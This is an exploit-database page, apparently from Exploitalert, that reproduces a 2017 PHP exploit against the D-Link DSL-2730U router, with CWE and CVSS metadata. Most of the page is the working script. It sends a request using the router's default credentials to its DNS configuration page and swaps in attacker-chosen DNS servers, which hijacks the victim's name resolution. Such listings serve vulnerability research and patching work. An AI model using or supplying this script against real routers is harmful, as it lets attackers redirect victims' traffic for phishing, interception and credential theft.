Advertisement






DLink DSL-2730U Wireless N 150 - Cross-Site Request Forgery

CVE Category Price Severity
N/A CWE-352 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2017-03-02
CPE
cpe:cpe:/h:dlink:dsl-2730u
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017030010

Below is a copy:

DLink DSL-2730U Wireless N 150 - Cross-Site Request Forgery<?php
#!usr/bin/php
#Author: Mateus a.k.a Dctor 
#fb: fb.com/hatbashbr/

#Modify DNS

$ip = "[IP TARGET]";
$dnsfirst = "[Define DNS]";
$dnssecond = "[Define DNS]";
$payload = "http://user:[email protected]/dnscfg.cgi?dnsPrimary=";
$pay = $payload.$dnsfirst."&dnsSecondary=".$dnssecond."&dnsIfcsList=&dnsRefresh=1";

$target = get_url_contents($pay);
if($target){
echo "[+] DNS Change";
}
else{echo "[+] DNS no Change";}



function get_url_contents($url)
{
    $crl = curl_init();
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 5);
    $r = curl_exec($crl);
    $http_status = curl_getinfo($crl, CURLINFO_HTTP_CODE);
    curl_close($crl);
    if ($http_status=="200") {
        return $r;
    }
}
?>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum